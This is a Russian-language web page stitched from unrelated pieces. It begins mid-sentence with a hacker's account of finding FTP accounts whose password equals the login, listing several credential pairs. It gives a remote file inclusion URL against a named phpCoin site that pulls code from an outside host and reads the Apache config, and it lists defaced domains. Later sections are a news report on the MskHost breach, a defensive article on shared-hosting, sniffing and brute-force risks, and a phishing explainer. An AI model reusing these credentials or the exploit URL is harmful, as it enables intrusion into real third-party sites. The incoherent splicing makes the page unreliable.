проверить не совпадёт ли у кого-нибудь
пароль с логином для ftp. Для этого
использовал прогу WWWHACK. Оказалось, что таких
пассов очень много. Буквально один
повторяется за другим. Вот некоторые из них:

absolute:absolute
farmosa:farmosa
aquatic:aquatic
golflink:golflink
pokico:pokico
prence:prence
quantum:quantum

Чтобы узнать каким сайтам принадлежат
пассы просмотрите http.conf:

http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/&cmd=
cat /usr/local/apache/conf/httpd.conf

Так я задефейсил некоторые сайты:

http://www.absolutezventure.com/
http://www.farmosa-aircon.com/
http://www.geo-aquatic.com/
http://www.golf-link.biz/
http://www.pokico.com/
http://www.prencepak.com/
http://www.emoinmotion.com

Взломан хостинг-провайдер mskhost

Взлом сервера через эксполит на сайте

12 сентября хостинг-провайдер MskHost объявил о взломе. В настоящее время сайт компании не работает. Техподержка хостинга пишет, что проводятся технические работы и просит подождать. Также в компании уверяют, что все серверы работают оптимально. Страничка статусов сервисов хостинга недоступна, а часть информации с серверов клиентов и электронной почты компании хакеры опубликовали в открытом доступе.

Хостинг MskHost начал свою работу в 2022 году. Компания позиционировала себя, как «надёжный современный хостинг-провайдер, у которого можно приобрести виртуальный облачный сервер, выделенный сервер, виртуальный хостинг и зарегистрировать свой домен». Последнее время клиенты хостинга оставляли все больше негативных отзывов о его работе.

Взлом сервера через эксполит на сайтеСудя по данным аптайма серверов хостинга, проблемы с доступом к MskHost начались сегодня после 7 утра.

На странице, куда сейчас ведет ссылка с сайта MskHost указано, что вся инфраструктура хостинга была взломана, был получен доступ к пользовательским серверам и данным, а большая часть серверов была безвозвратно удалена. Также хакеры пообещали выложить в открытый доступ всю информацию с абьюз ящика хостинга (abuse@msk.host). Как оказалось, там было более 100 непрочитанных электронных писем с жалобами от клиентов.

Взлом сервера через эксполит на сайте

В обращении на заглушке сайта, которая ведет в телеграм-канал пользователя mskhostohoh указано:

Мы вместе ведущими пентестерами СНГ, вынуждены нанести удар по инфраструктуре этого хостинг-проекта, и очистить Рунет от такого масштабного хостера черни.

Дорогие клиенты, которые занимались размещением «чернухи» — все копии ваших серверов, айпи входов, и многое другое, уже у нас, и будет в скором времени передано сотрудникам правоохранительных органов.

Дорогие причастные лица к деятельности данного хостинг проекта, ваши данные у нас тоже уже есть. IP каждого входа и многое другое. Эти данные также как и с клиентскими, будут в скором времени переданы в правоохранительные органы.

В 13:00 мск администрация хостинга

пояснила

, что разбирается в произошедшей ситуации и пообещала в самые кратчайшие сроки предоставить более подробную информацию о случившемся.

Взлом сервера через эксполит на сайте
Спустя 12 часов после взлома сайт хостинга снова начал открываться в обычном режиме.

Могут ли взломать мой сайт, если cms и скрипты неуязвимы?

Предположим, что на сайте закрыты все уязвимости, пропатчены все бреши и он работает на коммерческой CMS самой последней версии. Могут ли взломать такой сайт?

Ответ – да, могут.

И для этого вовсе не обязательно обладать сверхординарными способностями и иметь в арсенале суперутилиты для взлома. Все гораздо проще, сайт могут взломать не только в результате атак через веб.

Во-первых, взломать хорошо защищенный от веб-атак сайт могут через соседей по аккаунту. Если у веб-мастера несколько сайтов, то с наибольше вероятностью он разместит все сайты на одном аккаунте хостинга. Очень часто сайты на одном аккаунте хостинга не изолированы друг от друга, то есть cкриптами одного сайта можно вносить изменения в файлы другого сайта. И взлом одного сайта может привести к заражению всего shared-хостинга.

Обидно, если на хостинге пять сайтов, четыре из которых – хорошо защищенные интернет-магазины, а пятый — блог на уязвимом WordPress’е или сайт-визитка на Joomla. И именно последний случайно оказывается в поле зрения хакера. Иногда встречаются аккаунты, на которых «царит» настоящий бардак: множество папок со старыми версиями сайтов, тестовые площадки, заброшенные веб-проекты – и все они уютно соседствуют с рабочими веб-лошадками, генерирующими прибыль.

В нашей практике были случаи, когда взломы мультисайтового аккаунта происходили в результате «незасвеченного» нигде– ни в поисковиках, ни в социальных сетях – тестового сайта на техническом домене. Если сайт открывается в браузере и доступен для пользователей, то он доступен и для хакеров.

Сайт могут взломать, перехватив доступы. Предположим, веб-мастер, находясь в кафе или посещая какое-нибудь мероприятие (конференцию, форум, выставку), начинает обновлять на сайте контент. Для подключения он использует WiFi, который раздается организаторами мероприятия.

При этом подключение к панели сайта или FTP происходит по незащищенному соединению. Кто находится рядом в этот момент – неизвестно. Доступы от FTP, SSH, хостинга могут быть легко перехвачены программой-сниффером трафика, которая работает у хакера, подключенного к той же сети или через взломанный WI-FI роутер (что сейчас достаточно частое явление).

Есть и другие грустные примеры. В начале марта к нам обратилась владелица сайта, чьи доступы с администраторскими правами к ее веб-проекту были перехвачены в результате заражения компьютера приходящего бухгалтера. История банальна и в тоже время поучительна.

Каким бы неуязвимым ни был ваш сайт, взломать его могут посредством брут-форс атаки – подбора паролей, если ваш пароль слишком простой. Несмотря ни на что многие владельцы сайтов и веб-мастера упорно продолжают игнорировать главное правило создания безопасных паролей – пароли должны быть длинными и сложными, содержать случайную комбинацию цифр, букв и символов, а не комбинации года рождения и имен детей.

Фишинг

Вы­пив тра­дици­онный утренний кофе, ты запус­каешь поч­товый кли­ент и неожи­дан­но получа­ешь пись­мо от сво­его про­вай­дера с напоми­нани­ем о том, что приш­ло вре­мя в оче­ред­ной раз опла­тить хос­тинг. Кста­ти, пря­мо сей­час мож­но попол­нить баланс со зна­читель­ной скид­кой в честь годов­щины осво­бож­дения Изен­гарда от засилья урук‑хаев.

Из­дав радос­тный боевой клич, ты перехо­дишь по ссыл­ке и толь­ко тут, если повезет, замеча­ешь что‑то нелад­ное. Да, пись­мо выг­лядит безобид­но: оно офор­мле­но в точ­ности так же, как офи­циаль­ные сооб­щения от тво­его хос­тера, текст наб­ран тем же шриф­том, адрес отпра­вите­ля — вер­ный.

И даже в «под­вале» на сво­ем закон­ном мес­те рас­положе­ны ссыл­ки на полити­ку кон­фиден­циаль­нос­ти, пра­вила обра­бот­ки пер­сональ­ных дан­ных и про­чую лабуду, которую ник­то никог­да не чита­ет. Толь­ко вот URL стра­ницы авто­риза­ции в адми­нис­тра­тор­ской панели нем­ного отли­чает­ся от нас­тояще­го, да и SSL-сер­тификат на сай­те вызыва­ет подоз­рения и у тебя, и у анти­виру­са. Ой, а не фишинг ли это?

Фишинговое окошко входа в cPanel
Фи­шин­говое окош­ко вхо­да в cPanel

По­доб­ные ата­ки, нацелен­ные на перех­ват учет­ных дан­ных от админки популяр­ных хос­тингов, в пос­леднее вре­мя учас­тились. Мож­но, конеч­но, заподоз­рить про­вай­дера в утеч­ке базы кли­ентов, но не торопись с вывода­ми. Раз­добыть нуж­ную информа­цию об адми­нис­тра­торах сай­тов, хос­тящих­ся у той или иной ком­пании, не так слож­но, как кажет­ся.

Что­бы получить обра­зец кор­поратив­ного пись­ма, дос­таточ­но зарегис­три­ровать­ся на сай­те про­вай­дера или заказать тес­товый хос­тинг, который мно­гие ком­пании бес­плат­но пред­лага­ют на огра­ничен­ный срок. Даль­ше такое пись­мо мож­но обра­ботать в любом HTML-редак­торе, поменяв содер­жимое.

Нет­рудно най­ти и все исполь­зуемые про­вай­дером диапа­зоны IP-адре­сов: для этой цели соз­дано мно­жес­тво сер­висов, нап­ример xseo.in. Ну а затем мож­но получить спи­сок сай­тов на каж­дом из IP-адре­сов shared-хос­тинга, нап­ример здесь, здесь или тут.

Поиск сайтов на одном IP
По­иск сай­тов на одном IP
Оцените статью
Хостинги